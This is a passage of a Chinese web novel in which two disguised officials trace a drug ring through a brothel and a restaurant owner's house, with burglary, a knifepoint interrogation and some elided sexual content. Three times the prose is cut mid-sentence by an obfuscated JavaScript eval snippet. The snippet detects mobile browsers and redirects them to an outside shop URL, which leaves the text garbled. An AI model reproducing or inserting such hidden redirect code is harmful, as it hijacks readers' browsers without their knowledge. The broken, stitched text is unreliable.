她忙不迭地将银子攥在手里,仔仔细细揣进衣襟内袋,生怕弄丢半分,随即手腕轻扬,绣着缠枝莲纹样的娟帕在空中划出一道柔媚的弧线:“二位爷稍等片刻,我这就吩咐下去,把咱们满春院最好的酒菜全都给您二位呈上来!” 说罢,转头朝内堂扬声喊,“莲莲、牡丹好生伺候二位爷!” 老鸨扭着腰肢,脚步轻快地走了出去,那满心欢喜的模样,怕是恨不得立刻去跟旁人炫耀自己遇上了阔绰主顾。 两位身着轻薄罗裙的姑娘袅袅婷婷走上前,莲莲眉眼温婉,牡丹娇俏灵动,两人相视一笑,轻移莲步,正要挨着两位公子身旁坐下。 谢伟恒忽然身子一僵,抬手用锦帕紧紧捂住口鼻,紧接着便是一阵剧烈的咳嗽,咳得肩膀微微颤抖,脸色也泛起几分苍白,看着格外孱弱。 燕修延立刻侧身靠近,掌心轻轻落在他的后背,一下下顺着力道轻拍,眉眼间满是关切,随即转头对两位姑娘温和摆手:“劳烦两位姑娘站远些吧,我这位兄弟身子孱弱,闻不得浓烈的脂粉香气,怕是被呛着了。你们只需在一旁弹弹琴、唱唱小曲儿便好,不必近身伺候。” 说着,燕修延从袖中摸出两锭碎银子,分别递到两位姑娘手中:“这点银子你们收着,回头去暗香阁挑些上好的胭脂水粉,那些寻常脂粉味重,反倒辱了你们的模样。” 暗香阁是谢家开的胭脂铺子。 两位姑娘心里本还有些不悦,既然嫌弃脂粉味,又何必来花楼这种地方。 指尖触到沉甸甸的银子,脸上的不悦瞬间烟消云散,取而代之的是满心欢喜。 眼前这两位公子生得俊美非凡,又不用近身伺候,还能白得银子,这般好事,可是求都求不来的。 精致的酒菜鱼贯而入,将一道道色香味俱全的菜肴摆上桌,酒香混着菜香弥漫开来。 老鸨送完酒菜,瞥见两位姑娘只远远坐在窗边弹唱,并未近身伺候,当即皱了皱眉:“怎么坐得这么远?二位爷是贵客,赶紧过来好生伺候,别怠慢了!” 燕修延再次抬手摆手,语气依旧平和:“不必,我这兄弟确实闻不惯半点脂粉味,今日只想听听曲、喝喝酒,图个清静就好。” 老鸨当即又笑开了花,脸上堆满谄媚:“哎,好嘞!都听二位爷的,您们且安心听曲饮酒,若是有任何需求,只管唤我,我随叫随到!” 谢伟恒依旧用锦帕捂着鼻子,微微蹙眉,老鸨是个明白人,见状也不多留,识趣地躬身退了出去。 燕修延抬手拿起酒壶,正要为谢伟恒面前的酒杯斟酒,指尖刚碰到酒杯,忽然想起什么,动作一顿,随即将斟满酒的酒杯挪到自己面前:“你身子不好,就别喝酒了。” 花楼里的酒,向来都会掺些助兴的东西,燕修延最多也只是抿一口意思一下。 他担心这酒里的东西让谢伟恒身子不适,又要借势跟自己闹腾。 恰在此时,一曲弹毕,莲莲放下琴弦,掩唇轻笑,柔声解释:“公子不必太过担忧,我们满春院的酒水吃食,向来都是从丰乐楼直接采买的,皆是上等货色,绝无劣质之物。” 燕修延指尖轻轻晃动着手中的酒杯,看着杯中清冽的酒液,淡淡开口:“丰乐楼的酒菜,在京中可是出了名的昂贵。” 牡丹俏皮地眨了眨眼:“能来我们满春院的,都是非富即贵的贵客,自然要用最好的酒菜招待,才不算失礼。” 燕修延嘴角微扬,又从袖中取出两锭五两的银子,分别放在两位姑娘面前:“一个琴弹得精妙,一个话说得妥帖,这是赏你们的。” 两位姑娘喜不自胜,连忙再次谢恩。 谢伟恒轻咳两声,抬眼看向燕修延:“若是想与丰乐楼谈合作,该寻何人做主?” 燕修延眼中闪过一丝诧异,转头看向他,满脸疑惑:“你家世代做的是布料生意,与酒楼行当八竿子打不着,怎会突然想着要跟酒楼合作?” 谢伟恒放下锦帕,脸色依旧有些苍白:“日后若是接些大的布料单子,总要设宴与人商谈合作,寻一处合心意的酒楼,谈事也能顺遂些。就方才端上来的这些菜色来看,丰乐楼厨子的手艺,确实是京中顶尖的。” 燕修延抬手一拍巴掌:“同人谈生意,若是吃喝不尽兴,环境不舒心,很多话都不好开口,你是这个意思吧?” 谢伟恒微微颔首,算是应下。 莲莲和牡丹对视一眼。 牡丹往前站了一步,柔声开口:“今儿葛老板恰好也在我们院里消遣,若是二位爷不嫌弃,奴家愿意替二位牵线搭桥,引荐葛老板与你们一见。” 燕修延从袖中摸出几锭碎银子递给两人:“有劳两位姑娘费心,若是葛老板愿意赏脸一谈,今晚你们便不必再伺候别的客人,叫老鸨过来我同她说明此事。” 牡丹和莲莲连忙收下银子,连连道谢,喜滋滋地一同推门出去寻人。 门刚一关上,燕修延腿上就多了一只手。 他斜睨了谢伟恒一眼:“这是在外头,你老实点别胡闹。” 谢伟恒蹭了蹭燕修延的腿,语气带着几分戏谑:“有钱兄进了这花楼,倒是有一种如鱼得水,左右逢源的感觉。” 燕修延把他的手拍掉:“那是你的错觉。” 没过多久,房门再次被推开,老鸨领着一个身着锦袍、面容富态的男子走了进来,那男子正是丰乐楼的东家葛云舟。 燕修延当即从袖中取出一锭沉甸甸的银锭,随手丢给老鸨:“稍后我们与葛老板要谈些正事,无需姑娘们伺候,莲莲和牡丹便算是我们包下了,今晚不必再让她们伺候旁人。” “哎!好好好!爷尽管放心,今晚我一定让莲莲和牡丹早早歇息,绝不让旁人打扰您们谈事!” 老鸨揣起银锭,笑得眼睛都眯成了一条缝,见牙不见眼。 葛云舟目光落在燕修延和谢伟恒身上,见二人虽年轻,却气度不凡,出手更是阔绰,心中便知这两位是大有来头的人物,定然能谈成一笔不错的生意。 他抬手在身旁老鸨的屁股上轻拍了一把,笑着打趣:“你这人,见着银子就笑成这般模样,跟朵花儿似的。” 老鸨在葛云舟胸口轻轻一点,眉眼弯弯:“葛老板这话说的,我若是能像您这般腰缠万贯,见着这点银子,自然也能面不改色了。” “哈哈哈!你这小嘴还是这么会说话,讨人喜欢!” 葛云舟哈哈大笑,与老鸨调笑了两句,便搂着身边的姑娘,径直在桌旁坐下。 燕修延开口让老鸨再添一副碗筷和酒杯。 老鸨很快添好东西,躬身退下。 燕修延目光微沉,方才老鸨靠近时,他隐约在她身上闻到了一丝极淡的底也伽气味,想来应该是寻人的时候,无意间沾染上的。 他不动声色地递了一个眼神给谢伟恒。 葛云舟大马金刀地坐下,看向二人,开门见山:“听闻两位公子想与我谈些合作,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646287|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下葛云舟,不知二位公子如何称呼?” 燕修延微微颔首:“晚辈郝有钱。” 谢伟恒现场开编身份,声音依旧带着几分病气:“晚辈祝望财,家中在江南做布料生意,家父想把生意拓展到京城,日后设宴谈事的场合颇多,故而想寻一处靠谱的酒楼长期合作。” 说着,他又忍不住轻咳了几声,身子微微佝偻,更显孱弱。 燕修延连忙在旁轻声解释:“葛老板莫怪,我这位朋友从小身子骨就弱,常年药不离身,受不得半点惊扰。” 谢伟恒缓了一口气,继续说道:“方才听莲莲姑娘说,院里的酒菜都是从丰乐楼采买的,我尝了几口,味道着实绝佳,不知葛老板楼里的厨子,是只擅长做京城本帮菜,还是各地的菜系都能烹制?” 葛云舟脸上露出几分自信的神色:“不是我夸海口,我丰乐楼重金聘请了各地名厨,大虞南北各个地方的特色菜,就没有咱们做不出来的!” 谢伟恒眼中闪过一丝赞许:“若是如此,晚辈心中恰好有几份独家菜单,若是葛老板的厨子能烹制出来,还请葛老板给个一桌宴席的底价。” 燕修延当即起身打开房门,吩咐让人送来纸笔。 谢伟恒接过纸笔,手腕轻转,将一道道菜品名工工整整写在纸上。 葛云舟松开怀里的姑娘,凑上前仔细看着菜单,越看越是惊叹,忍不住抬头看向谢伟恒:“这位公子当真是吃遍大虞南北啊!” 谢伟恒露出一抹谦逊的笑意,轻声说道:“葛老板过奖了,我自幼身子孱弱,胃口极差,吃什么都觉得无味,家父心疼我,便四处寻来各地的名厨,专门为我烹制各地特色菜,久而久之,也就记下了这些菜品。” 葛云舟不禁感慨:“令尊当真是爱子心切,这般父亲,实在令人敬佩。不瞒公子,这菜单上的菜,我们楼里都能做,只是其中不少菜品食材珍稀难得,还要耗费极大的功夫,一桌宴席的价格,怕是要这个数。” 他伸出手指,比了一个数目。 谢伟恒笑着点头,没有丝毫犹豫:“我知晓,这些菜品的食材本就珍贵,再加上厨子的功夫钱,这个价格合情合理,葛老板是个实诚人,这个价格,晚辈接受了。” 葛云舟没想到他如此爽快,心中大喜,当即拱手笑道:“小公子也是个爽快人,这般性情,我葛某交定你这个朋友了!” 燕修延百无聊赖地拿着两个酒杯,将酒来回掺着玩,闻言故作惊讶地开口:“你们这就谈成了?速度也太快了些,我还没反应过来呢。” “葛老板为人坦诚,说话不虚,谈合作自然顺畅。” 谢伟恒端起面前的酒杯,看向葛云舟,“晚辈敬葛老板一杯,预祝我们日后合作顺遂。” “哎,这酒凉,你身子弱,万万喝不得,我替你饮下便是。” 燕修延牢记谢伟恒病公子的身份,连忙伸手按住他的手,一把抢过他手中的酒杯:“葛老板莫介意,我这兄弟实在不能饮酒,晚辈替他敬您。” 葛云舟连忙摆手,笑着说道:“不介意不介意,饮酒本就伤身,小公子身子孱弱,不喝最好,心意到了便足矣。” 燕修延举杯与葛云舟轻轻一碰,随即将杯中酒一饮而尽,放下酒杯,赞道:“这春酒口感醇厚,果然是好酒。” 葛云舟面露赏识,笑着邀请:“郝兄弟果然是懂行之人,改日有空,务必上我丰乐楼去,我做东,好好招待二位!” 燕修延拱手笑道:“那晚辈便却之不恭,多谢葛老板盛情邀约。” 130. 给你塞钱才是本事 几人又围坐闲谈了片刻,敲定了明日赴宴的具体时辰。 谢伟恒的咳嗽声愈发频繁,每一声都带着压抑不住的窒闷,脸色也渐渐泛上病态的苍白,原本清俊的眉眼皱成一团,看着格外虚弱。 燕修延坐在他身侧,连忙伸手稳稳将人扶起身,掌心轻轻贴着他的后背顺气,转头看向对面的葛云舟时,眼底满是歉意:“葛老板,实在对不住,我兄弟这咳嗽突然加重,身子实在受不住,我得先带他回去歇息,今日的叙话就先到这儿,咱们明日再好好详谈。” 葛云舟本就心思不在闲谈上,闻言自然满口应下,脸上堆着客套的笑意,起身将两人送到花楼门口,连句多余的挽留都没有。 转身就步履匆匆地去找方才被他搂在怀里的娇俏姑娘。 老鸨就扭着腰迎了上来,脸上堆着谄媚的笑:“两位爷这就要走了?不多坐会儿玩玩?” 燕修延一手稳稳扶着身形虚浮的谢伟恒,另一只手有一下没一下地拍着他的后背帮他顺气:“实在没办法,我这兄弟咳得实在厉害,原本还想着带他来这风月场见见世面,放松放松。” 谢伟恒靠在燕修延怀里,气息断断续续,每说一个字都要喘两下,虚弱地开口:“对不住,是我扫兴了。” “说什么傻话。” 燕修延拍了拍他,丝毫没有怪罪的意思,“今儿虽说没待多久,但咱们也谈成了一桩要紧事,半点不亏,你的身子才是最要紧的。” 老鸨见两人去意已决,也不再多劝,依旧满脸堆笑,一路扭着腰将两人送到花楼正门,手里挥舞着绣花香帕,声音娇俏地喊着:“二位爷慢走,可得常来啊,我们满春院随时恭候着呢!” 燕修延侧过身,抬起胳膊随意摆了摆手:“放心,改日必定再来叨扰!” 两人缓步走出正门,待远离了老鸨的视线,燕修延目光敏锐地注意到二楼楼梯左手边第三个房间门窗,里头半点声响都没有,连烛火都未曾亮起,看着便是空无一人的模样。 两人动作轻盈,从另一边悄无声息地用轻功攀上二楼窗框,稳稳跳进窗户里。 老鸨身上有底也伽的味道,葛云舟和他怀里搂着的姑娘,衣摆间也隐隐飘着底也伽的气息。 只是人多嘈杂,不知是花楼里的,还是葛云舟带来的。 燕修延快步走到房间中央的香炉旁,轻轻掀开炉盖,俯身嗅了嗅炉内残留的香灰,又低头查看桌案上燃剩的蜡烛残段,指尖轻轻捻了捻烛芯。 “香灰和蜡烛都干净,这间房里没加过那东西。” 门外走廊骤然传来一阵杂乱的脚步声,伴随着小厮恭敬的嗓音:“爷,您这边请,房间已经备好了。” 燕修延不敢多做停留,飞快将蜡烛放回原处,伸手一把拉住谢伟恒的手腕,压低声音急道:“有人来了,快走!” 两人不敢走门,再度翻身跃出窗户,足尖轻点屋檐,身形利落地上了屋顶,俯身趴在青瓦之上,借着夜色遮掩,紧紧盯着下方的动静。 只见方才他们翻出的那扇窗户,很快被进来的人轻轻关上,屋内随即亮起烛火,再无动静。 燕修延扭头看向身旁趴在瓦上的谢伟恒,低声询问:“眼下咱们有两个选择,要么找个街边摊子吃点东西垫垫肚子,要么就在这屋顶喝会儿风,干脆直接去葛云舟家里一探究竟,你选……” 话还没说完,他就察觉到身旁人的气息不对,语气顿住,“你又怎么了?” 谢伟恒趴在冰冷的瓦片上,幽幽叹了口气:“燕大人素来爱财,平日里从未舍得为我花过半分银钱,可对那些素未谋面的风月女子,倒是大方得很,随手打赏毫不心疼。” 燕修延嘴角忍不住狠狠一抽。 又来了。 “我在这花楼里花钱,全是为了配合葛云舟,做戏给旁人看,这花出去的窟窿,我自然会去他家里找补回来,半分都不会亏。” 谢伟恒神色恹恹的,有气无力地应了一声“哦”,苍白的小脸耷拉着,配上他这病弱公子的模样,看着格外惹人怜惜,任谁见了都要心软。 燕修延看着他这副样子,翻了个白眼:“得了,我也不纠结了,现在就去葛云舟家。” 葛云舟靠着酒楼生意赚得盆满钵满,在城中购置的宅子宽敞气派,庭院深深,家中仆役往来不断,看守得颇为严密。 两人借着夜色掩护,绕着宅子外墙潜行,避开巡夜的家丁,接连找错两处。 燕修延贴在窗边,轻轻推开一条缝隙,一股极淡的底也伽味道顺着风飘了出来:“应该就是这间了。” 他翻身跃入窗户,落地后轻手轻脚地在屋内摸索,指尖拂过桌案、书架,仔细探查着隐秘角落,不多时,便在墙壁的暗格里摸到一把冰凉的铜钥匙。 拿着钥匙晃了晃,转头看向正在柜子前翻找的谢伟恒,低声道:“找到了一把钥匙,说不定就是他藏银钱地方的钥匙,就是不知道藏钱的地方是不是在这房间里。” 谢伟恒更加仔细地在衣柜里翻找着,将一件件衣物挪开,指尖在柜底摸索,忽然触到一个硬硬的纸壳,他心头一动,将其抽了出来,竟是一个封好的信封。 他拆开信封,里面装着一张泛黄的收据,上面清晰写着购买底也伽的账目,数额不小。 “是买底也伽的收据。”谢伟恒拿着收据,转头对燕修延说道。 燕修延连忙凑过来看,目光落在收据末尾的售卖人名字上:“卖给他的人叫艾米,依我看,这名字十有八九是化名,真身就是艾木都拉。” 谢伟恒将收据放回原处,接过燕修延手中的铜钥匙,握在掌心把玩了两下,抬头看向燕修恒,眼底闪过一丝狡黠:“我带你去找他藏钱的地方。” 燕修延两眼一亮,催促他:“赶紧的。” 谢伟恒握住燕修延的手腕,问:“夫君总要给些……” 燕修延不等他把话说完,伸手捧起他的脸,“吧唧”一口重重亲在他的嘴唇上,随即催促道:“好处给了,赶紧的,别磨蹭。” 谢伟恒先是一愣,显然没料到他会如此直接,随即反应过来,嘴角忍不住向上扬起,露出一抹明媚的笑。 他转身将衣柜里的衣物尽数搬出来,柜壁上赫然露出一个小小的钥匙孔。 将钥匙插入孔中轻轻一转。 只听“咔哒”一声轻响。 柜子的内壁缓缓向旁边移开,一个精致的檀木盒子出现在眼前。 谢伟恒伸手将盒子拿出来,转身递给身后的燕修延。 燕修延一边迫不及待地打开,一边道:“你早发现了这机关,却瞒着不说,可真够鸡贼的。” 话音落下,盒子打开,他看着里面的东西,忍不住发出一声惊叹:“嚯!” 整整齐齐码着一沓沓大额银票,银票上方,摆着两排沉甸甸的银锭子和两排金光闪闪的金锭子,在微弱的夜光下,熠熠生辉,看着格外诱人。 燕修延眼睛一亮,二话不说从银票中间抽了两张出来。 金锭和银锭数目一目了然,若是动了,极易被葛云舟察觉,银票则隐蔽得多。 他将其中一张银票塞进谢伟恒的怀里:“为你花些小钱不算本事,这般塞银票给你才是真本事。想要什么,明日自己去买,乖啊。” 谢伟恒将银票揣好,勾着唇角笑了起来,眼底满是暖意,抬头看向燕修延:“你说的,明日陪我去街上买东西,好不好?” “没问题!” 燕修延想都没想,一口应下,语气爽快,“你想逛多久就逛多久,想买什么就买什么,我全程奉陪到底。” 两人不再多做停留,快速将檀木盒放回暗格,把衣柜、暗格尽数恢复原样,抹去所有来过的痕迹,才悄无声息地离开葛府。 再度折返满春院。 街上的行人寥寥无几,只剩零星的灯火点缀,满春院内也安静了不少,姑娘和客人们大多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646288|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已然安歇,只有零星的房间还亮着烛火。 燕修延和谢伟恒轻手轻脚地潜入楼内,贴着墙壁潜行,每经过一个房间,燕修延就轻轻将门推开一条细缝,俯身嗅闻屋内的气息。 接连查过几个房间后,终于在三间房内闻到了浓郁的底也伽味道。 燕修延从怀中掏出迷烟包,轻轻吹了些迷烟进入屋内,静静等了片刻,确认里面的人已经陷入沉睡,才推门而入,借着怀中夜明珠的微弱亮光,仔细查看屋内人的样貌。 其中一间房,正是他们先前离开时空着的那间,躺在床上酣睡的人正是葛云舟。 鼻息间满是底也伽的气息,显然在他们走后,葛云舟又在房内使用了这东西。 燕修延看着他,忍不住摇了摇头:“啧啧啧,这可是催命的玩意儿,他倒是用得这般起劲,早晚要栽在这上面。” 两人查完正准备悄然离开,忽然听见不远处的房间传来动静,两人神色一紧,连忙闪身躲进旁边的僻静角落。 老鸨打着哈欠,睡眼惺忪地推开房门走了出来,嘴里还小声念叨着:“真是的,睡到一半居然饿醒了,也不知道厨房还有没有剩下的吃食。” 等老鸨的身影彻底走远,燕修延和谢伟恒立刻闪身进入老鸨的房间。 动作迅捷地翻找起来,柜子、抽屉、妆奁,一处都不放过,指尖快速翻动,不敢发出半点声响。 一番翻找后,谢伟恒在妆奁的最底层,摸到一个用油纸包着的东西,打开一看,里面赫然包着几颗完整的底也伽,还有半颗已经用过的,显然是老鸨曾用过。 两人对视一眼,索性不再离开,找了个隐蔽的角落藏好,静静等着老鸨回来。 老鸨端着一碗点心走了进来,丝毫没有察觉到屋内藏着人,随手将点心放在桌案上,转身走到桌边拿起茶壶,准备倒水喝。 冰冷的利刃突然贴上她的颈侧,寒意刺骨,身后随即传来一个刻意压低、粗哑难听的声音:“不许动,别出声,不准回头,我问你几个问题,老老实实回答,敢耍花样,立刻要了你的命!” 老鸨吓得浑身一软,双腿不停打颤,手里的茶壶差点摔落在地,颈侧的冰凉让她连大气都不敢喘:“我、我不动……不出声……爷您问,小的一定知无不言。” 燕修延将油纸包着的底也伽丢在面前的桌案上,发出轻响,冷声质问:“这东西,你从哪里得来的?” 老鸨眼角余光瞥见桌案上的底也伽,知道再也瞒不住,捏着嗓子,声音细若蚊蚋:“是、是一个外来的香料贩子卖给我的,他说这东西能提兴致,让那些有钱人愿意常来光顾我这满春院,小的试了几次,确实管用,就跟他买了不少……” 香料贩子还特地叮嘱她,说这东西金贵,最好只给外来的富商使用,千万不能给本地的官老爷和乡绅用。 老鸨咽了咽口水继续说:“那人说什么怀璧其罪,这东西太惹眼,知道的人多了,容易惹祸上身。” 她当然觉得这话经不起推敲,若是真的好用,又对身体没害处,哪有藏着掖着不卖的道理? 老鸨特地找了暗医来查验,却没查出什么问题,再加上利益熏心,便信了香料贩子的话。 自己从不用这东西,只偷偷给外地的富商少量使用。 量控制得极小,一直没被人察觉。 燕修延眉头紧锁,又厉声问道:“除了你来用,还有没有人从你这里买过这底也伽?” “有,有的!” 老鸨连忙点头,跟倒豆子似的说出一串常来光顾的富商名字,语速极快,生怕说慢了惹来杀身之祸,可这些名字里,偏偏没有葛云舟。 燕修延再度追问:“葛云舟没从你这里买过?” 提到葛云舟,老鸨的语气里瞬间多了几分咬牙切齿的恨意,声音都忍不住拔高了些许,又连忙压低:“他是白拿的!拿了我的东西不算,还私下跟那香料贩子搭上线,做我的生意!” 131. 行行行,帮你帮你 葛云舟发现自己每次踏入满春院,闻了里面的香感觉浑身都轻飘飘的,便知道是花楼在香料里动了手脚。 他从老鸨口中套出用的东西是什么,临走时还强硬地拿走了好几颗。 还借着香料贩子上门送货的时候,顺势搭上了这条线,一起来做她的生意! 老鸨心里恨得牙痒痒,可自己的把柄死死攥在人家手里,若是惹恼了他,自己这满春院怕是顷刻间就要毁于一旦,只得忍气吞声,强压下满心的怨怼。 燕修延询问香料贩子的样貌与特征。 老鸨描述了一张非常普通的样貌,扔在人堆里都寻不出来的那种:“我曾经在他左手手腕上看到过一个石榴花模样的胎记,颜色不深,却格外显眼。” 燕修延丢了颗忘忆丸进茶杯里:“把这杯水喝了。” 屋内黑黢黢的,只余窗外透进的微弱月光,老鸨不知道水里加了料。 她小心翼翼地端起茶杯。 燕修延将抵在身侧的匕首稍稍移开了些许,语气依旧冰冷:“喝吧。” 老鸨仰头将杯中的水一饮而尽,那忘忆丸顺着茶水,悄无声息地落入腹中。 她放下茶杯,正欲开口,便听燕修延淡淡吩咐:“往前走,走到床边去。” 老鸨心里咯噔一下,心道自己这一把年纪,难不成还被眼前这人惦记上了? 心里又怕又羞,脚步迟疑着往床边挪。 可还没等她站稳,后颈突然传来一阵尖锐的痛感,眼前一黑,身子一软,便直直晕倒在了床榻上。 两人没再逗留,直接离开。 回到谢府,进门后便直奔内室,褪去脸上的易容,露出原本的容貌。 燕修延懒得打理衣衫,随意扯了件寝衣,懒散地往床上一躺,侧过身子,单手支着脑袋,目光灼灼地看着换衣服的谢伟恒。 屋内烛火明亮,暖黄的光晕洒在谢伟恒身上,将他白皙的肌肤衬得愈发细腻,而那光洁的皮肤上,一道道深浅不一、毫无规律的抓痕格外醒目。 燕修延抓起谢伟恒来,一点都不手软——若是他心慈手软,眼前这人只会更得寸进尺。 “啧啧啧,谢书令这身材,倒是真不错,平日里看着文弱,藏在衣衫下倒是另有一番光景。” 谢伟恒系着衣袍系带的动作一顿,漫不经心地松散系了两下,转身坐到床边,微微倾身,凑近燕修延:“哦?燕大人若是喜欢,可要凑近了好好欣赏一番?” 燕修延脸上的戏谑笑容瞬间淡去,眸色一沉,抬手挥出一道掌风熄灭蜡烛。 “睡觉!” 他若是敢点头应下,今晚谁都别想睡了。 谢伟恒是不知疲倦耕地的牛,他就是被折腾的地。 牛可以不眠不休,但地得休耕。 李府书房内,灯火昏黄,映得满室静谧。 李想端坐案前,拆开一封密信,信上是魏仲泽的字迹,字字透着谨慎:燕修延近来追查底也伽一事愈发紧迫,行事步步紧逼,让艾木都拉务必见机行事,不可轻举妄动,另外,艾木都拉左手手腕的石榴花胎记太过显眼,务必时刻遮掩,切莫暴露踪迹。 李想一字一句看完,眉头微蹙,随即将信纸凑到烛火边,看着火苗一点点吞噬纸张,直至化为灰烬,被风吹散在空气里,不留一丝痕迹。 他收拾好心绪,吹熄烛火,书房重归黑暗。 一夜无梦。 次日清晨,燕修延在柔软的床榻上醒来,神清气爽…… “喂。” 他抬手轻轻捏住谢伟恒的鼻子,轻声唤道:“别装睡了,松手,我要下床。” 谢伟恒缓缓睁开眼睛,眸中清澈,不见半点刚睡醒的惺忪,他双臂紧紧搂着怀里的人,力道不轻不重,语气带着几分难得的撒娇:“燕大人,帮个忙嘛。” 燕修延皮笑肉不笑地看着他:“我倒是可以帮你永久断情绝爱,从此六根清净。” “哥哥。” 谢伟恒非但没松手,反而翻身而上压住燕修延,眼底笑意浓浓,语气缱绻又带着几分耍赖:“哥哥不帮忙,那我便只能自力更生了。” 燕修延面无表情地盯着上方笑吟吟的男人,心里暗自腹诽,自力更生倒是先把搂着人的手撒开啊! 谢伟恒所谓的‘自力更生’,最后还不是他老腰承受了所有! “行行行,帮你帮你,怕了你了。” 燕修延wo着二人的**来回lu着 (作者在这不过多表达了,读者们想象一下吧) 谢小厮早已习惯了不上朝的清晨,自家少爷的朝食,总要推迟半个时辰,甚至一个时辰,早已见怪不怪。 用过早饭,燕修延心满意足地打了个饱嗝,看向谢伟恒:“现在出门,还是再迟些动身?” 谢伟恒早已拿定主意:“现在就出门,等逛累了,找个僻静地方易容,正好去丰乐楼办事。” 燕修延一拍脑门,这才想起正事,早上被谢伟恒闹得头昏脑胀,差点把这茬事忘得一干二净。 二人简单收拾了一番,便并肩出了谢府。 谢家的布庄刚刚开门,伙计们正忙着整理货架,擦拭柜台。 谢伟恒拉着燕修延走进店内,笑着说道:“劳烦燕大人帮我挑几件裙子。” 燕修延惊讶地抬眼看向他,满脸错愕:“你还真挑啊?” 谢伟恒眉眼弯弯,笑意真切:“自然是真的,你眼光好,你来挑,挑好我便让人量尺寸。” 燕修延随手往货架上一指,随口说道:“这件桃粉色的不错,料子看着柔软,款式也别致。” 谢伟恒立刻示意管事记下。 燕修延连忙改口:“先别急着记,我再挑挑别的,好好选选。” 他转过身,装作认真挑选裙子的模样,心里暗自嘀咕,谢伟恒这是来真的? 那可不能随便应付,得好好挑挑,说不定还能趁机逗逗他。 燕修延嘴角不自觉地露出一抹坏笑。 细细打量着每一款裙子,不仅挑款式,还对布料的厚薄、绣纹的样式、裙摆的剪裁都一一提出了改动意见。 管事低着头一一详细记录,眼底却闪烁着诡异又激动的光芒。 原来少爷和夫人私底下这般会玩,感情真是恩爱无比,羡煞旁人啊! 谢伟恒也随手挑了几身精致长袍,转头问燕修延:“燕大人觉得这几件如何?” 燕修延扫了一眼,点头称赞:“不错,料子上乘,款式也大气,很衬你。” 谢伟恒笑得愈发温柔,对管事说道:“记下来,一会给燕大人也量量尺寸,一同做了。” 二人分别让伙计量了身形尺寸,燕修延无意间瞥见角落里挂着的一件粉色纱衣,质地轻薄,仙气飘飘,他抬手一指,饶有兴致地说:“这个也做一件,记得按我的尺寸来。” 管事连忙应声:“好的,夫人。” 等二人离开,管事激动得在店内跑了一圈,才勉强压下心头的兴奋,继续做好自己分内的事。 少爷和夫人的衣服,他一定要亲自盯着,一针一线都不能马虎,务必做到最好。 燕修延突然皱了下眉头,身子微微一颤,下意识地转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646289|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身往后看了一眼,身后人来人往,皆是寻常路人,并无异样。 谢伟恒也跟着回头:“怎么了?可是有什么不妥?” “不知道。” 燕修延摸了摸后脑勺,有些疑惑地摇摇头:“刚才突然浑身恶寒了一下,像是被人盯上了,可又没看到什么可疑之人。罢了,不想了,咱们接下来去哪里?” 谢伟恒卖了个关子,笑着说道:“别急,到了地方,燕大人自然就知晓了。” 燕修延索性不再多想,跟着谢伟恒穿过繁华的街道,拐进幽深的巷子,沿途的小吃摊贩琳琅满目。 他早被各色香气勾住了心神,哪里还顾得上记路,只顾着买各种小吃,一路走一路吃。 “到了。” 谢伟恒停在一处僻静的小院门前,轻声说道。 燕修延连忙咽下嘴里的糕点,摸了摸圆滚滚的肚子:“感觉中午都不用吃饭了。” 早上本就吃了饱饱的朝食,一路逛吃,大半零食进了他的肚子,剩下的小半,都被他塞给了谢伟恒。 谢伟恒上前轻轻叩响院门。 不多时,院门从里面缓缓打开,探出一个小脑袋,脸蛋圆嘟嘟的。 “少爷来啦!” “小青。” 谢伟恒温声应道,随即牵起燕修延的手,拉着他一同走进院内。 谢小青蹦蹦跳跳地跟在一旁,好奇地盯着两人十指相扣的手,小脸上满是欣喜,脆生生地夸赞:“哇,少爷和夫人真的是如胶似漆呢,感情真好!” 燕修延低头看着才到自己大腿高度的小孩,忍不住好笑道:“你这个小萝卜头,毛都没长齐,懂什么叫如胶似漆?” 谢小青立刻扬起小下巴,一脸得意,像是懂了很多大道理:“我当然懂啦!外面的人都说,少爷和夫人焦不离孟、孟不离焦,感情好得干柴烈火、一点就着!” 燕修延顿时语塞,嘴角抽了抽,故意板起脸,吓唬道:“那你听没听说过,我最喜欢打小孩的屁股?” “呀!” 谢小青立刻捂着小屁股,蹦蹦跳跳地往前跑,边跑边喊:“夫人凶,小青怕怕!” 谢伟恒看着这一幕,肩头微微耸动,捂着嘴无声地笑了起来。 燕修延转头瞪了他一眼,没好气地说:“你还笑,这些乱七八糟、莫名其妙的传言,指定跟你脱不了干系!” 谢伟恒摆出一副无辜的模样,轻声说道:“这可冤枉我了,都是旁人瞎传的。燕大人可还记得上次咱们一起吃馄饨的事情。” 燕修延自然记得那件事,心里虽有不满,却也没有甩开谢伟恒牵着的手,任由他握着,两人并肩往小院深处走去。 